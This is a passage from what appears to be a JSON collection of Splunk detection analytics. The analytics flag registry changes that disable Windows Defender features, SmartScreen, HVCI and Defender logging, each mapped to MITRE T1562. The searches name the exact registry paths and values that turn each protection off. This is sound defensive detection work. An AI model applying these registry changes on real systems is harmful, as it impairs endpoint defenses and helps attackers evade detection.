"Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Realtime Signature Delivery", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender real-time signature delivery feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender signature updates. This activity is significant because disabling real-time signature delivery can prevent Windows Defender from receiving timely malware definitions, reducing its effectiveness. If confirmed malicious, this action could allow attackers to bypass malware detection, leading to potential system compromise and persistent threats.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Signature Updates\\\\RealtimeSignatureDelivery\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_realtime_signature_delivery_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender File realtime signature delivery set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Web Evaluation", - "description": "The following analytic detects modifications to the Windows registry entry \"EnableWebContentEvaluation\" to disable Windows Defender web content evaluation. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes where the registry value is set to \"0x00000000\". This activity is significant as it indicates an attempt to impair browser security features, potentially allowing malicious web content to bypass security checks. If confirmed malicious, this could lead to users interacting with harmful scripts or unsafe web elements, increasing the risk of system exploitation and security breaches.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path= \"*\\\\Windows\\\\CurrentVersion\\\\AppHost\\\\EnableWebContentEvaluation\" Registry.registry_value_data= \"0x00000000\" BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_web_evaluation_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender web content evaluation feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender App Guard", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender Application Guard auditing. It leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values. This activity is significant because disabling auditing can hinder security monitoring and threat detection within the isolated environment, making it easier for malicious activities to go unnoticed. If confirmed malicious, this action could allow attackers to bypass Windows Defender protections, potentially leading to unauthorized access, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Policies\\\\Microsoft\\\\AppHVSI\\\\AuditApplicationGuard\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_app_guard_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender AuditApplicationGuard feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Compute File Hashes", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender's file hash computation by setting the EnableFileHashComputation value to 0. This detection leverages data from the Endpoint.Registry data model, focusing on changes to the specific registry path associated with Windows Defender. Disabling file hash computation can significantly impair Windows Defender's ability to detect and scan for malware, making it a critical behavior to monitor. If confirmed malicious, this activity could allow attackers to bypass Windows Defender, facilitating undetected malware execution and persistence in the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\MpEngine\\\\EnableFileHashComputation\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_compute_file_hashes_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender File hashes computation set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Gen reports", - "description": "The following analytic detects modifications in the Windows registry to disable Windows Defender generic reports. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the \"DisableGenericRePorts\" registry value. This activity is significant as it can prevent the transmission of error reports to Microsoft's Windows Error Reporting service, potentially hiding malicious activities. If confirmed malicious, this action could allow attackers to bypass Windows Defender detections, reducing the visibility of their activities and increasing the risk of undetected system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Reporting\\\\DisableGenericRePorts\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_gen_reports_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DisableGenericRePorts registry is set to enable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Network Protection", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender Network Protection. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the EnableNetworkProtection registry entry. This activity is significant because disabling Network Protection can leave the system vulnerable to network-based threats by preventing Windows Defender from analyzing and blocking malicious network activity. If confirmed malicious, this action could allow attackers to bypass security measures, potentially leading to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\Network Protection\\\\EnableNetworkProtection\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_network_protection_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Exploit Guard network protection set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Report Infection", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender's infection reporting. It leverages data from the Endpoint.Registry datamodel, specifically monitoring changes to the \"DontReportInfectionInformation\" registry key. This activity is significant because it can prevent Windows Defender from reporting detailed threat information to Microsoft, potentially allowing malware to evade detection. If confirmed malicious, this action could enable attackers to bypass security measures, maintain persistence, and avoid detection, leading to prolonged unauthorized access and potential data breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Microsoft\\\\MRT\\\\DontReportInfectionInformation\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_report_infection_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DontReportInfectionInformation registry is enabled on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Scan On Update", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender Scan On Update feature. It leverages data from the Endpoint.Registry datamodel, specifically looking for changes to the \"DisableScanOnUpdate\" registry setting with a value of \"0x00000001\". This activity is significant because disabling automatic scans can leave systems vulnerable to malware and other threats. If confirmed malicious, this action could allow attackers to bypass Windows Defender, facilitating further compromise and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Signature Updates\\\\DisableScanOnUpdate\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_scan_on_update_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DisableScanOnUpdate feature set to enable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Win Defender Signature Retirement", - "description": "The following analytic detects modifications to the Windows registry that disable Windows Defender Signature Retirement. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the DisableSignatureRetirement registry setting. This activity is significant because disabling signature retirement can prevent Windows Defender from removing outdated antivirus signatures, potentially reducing its effectiveness in detecting threats. If confirmed malicious, this action could allow an attacker to evade detection by using older, less relevant signatures, thereby compromising the system's security posture.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\NIS\\\\Consumers\\\\IPS\\\\DisableSignatureRetirement\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_win_defender_signature_retirement_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender DisableSignatureRetirement registry is set to enable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Overide Win Defender Phishing Filter", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender phishing filter. It leverages data from the Endpoint.Registry data model, focusing on changes to specific registry values related to Microsoft Edge's phishing filter settings. This activity is significant because disabling the phishing filter can allow attackers to deceive users into visiting malicious websites without triggering browser warnings. If confirmed malicious, this could lead to users unknowingly accessing harmful sites, resulting in potential security incidents or data compromises.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_key_name = \"*\\\\MicrosoftEdge\\\\PhishingFilter\" Registry.registry_value_name IN (\"EnabledV9\", \"PreventOverride\") Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_overide_win_defender_phishing_filter_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Phishing Filter registry was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Override SmartScreen Prompt", - "description": "The following analytic detects modifications to the Windows registry that override the Windows Defender SmartScreen prompt. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the \"PreventSmartScreenPromptOverride\" registry setting. This activity is significant because it indicates an attempt to disable the prevention of user overrides for SmartScreen prompts, potentially allowing users to bypass security warnings. If confirmed malicious, this could lead to users inadvertently executing or accessing harmful content, increasing the risk of security incidents or system compromises.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path= \"*\\\\Microsoft\\\\Edge\\\\PreventSmartScreenPromptOverride\" Registry.registry_value_data= \"0x00000000\" BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_override_smartscreen_prompt_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender SmartScreen prompt was override on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Set Win Defender Smart Screen Level To Warn", - "description": "The following analytic detects modifications to the Windows registry that set the Windows Defender SmartScreen level to \"warn.\" This detection leverages data from the Endpoint.Registry data model, specifically monitoring changes to the ShellSmartScreenLevel registry value. This activity is significant because altering SmartScreen settings to \"warn\" can reduce immediate suspicion from users, allowing potentially malicious executables to run with just a warning prompt. If confirmed malicious, this could enable attackers to execute harmful files, increasing the risk of successful malware deployment and subsequent system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Microsoft\\\\Windows\\\\System\\\\ShellSmartScreenLevel\" Registry.registry_value_data=\"Warn\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_set_win_defender_smart_screen_level_to_warn_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender SmartScreen Level to Warn on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defenses Disable HVCI", - "description": "The following analytic detects the disabling of Hypervisor-protected Code Integrity (HVCI) by monitoring changes in the Windows registry. It leverages data from the Endpoint datamodel, specifically focusing on registry paths and values related to HVCI settings. This activity is significant because HVCI helps protect the kernel and system processes from tampering by malicious code. If confirmed malicious, disabling HVCI could allow attackers to execute unsigned kernel-mode code, potentially leading to kernel-level rootkits or other severe security breaches.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\CurrentControlSet\\\\Control\\\\DeviceGuard\\\\Scenarios\\\\HypervisorEnforcedCodeIntegrity\\\\Enabled\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defenses_disable_hvci_filter`", - "tags": { - "analytic_story": [ - "BlackLotus Campaign", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "HVCI has been disabled on $dest$.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defenses Disable Win Defender Auto Logging", - "description": "The following analytic detects the disabling of Windows Defender logging by identifying changes to the Registry keys DefenderApiLogger or DefenderAuditLogger set to disable. It leverages data from the Endpoint.Registry datamodel to monitor specific registry paths and values. This activity is significant as it is commonly associated with Remote Access Trojan (RAT) malware attempting to evade detection. If confirmed malicious, this action could allow an attacker to conceal their activities, making it harder to detect further malicious actions and maintain persistence on the compromised endpoint.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where (Registry.registry_path = \"*WMI\\\\Autologger\\\\DefenderApiLogger\\\\Start\" OR Registry.registry_path = \"*WMI\\\\Autologger\\\\DefenderAuditLogger\\\\Start\") Registry.registry_value_data =\"0x00000000\" by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defenses_disable_win_defender_auto_logging_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows 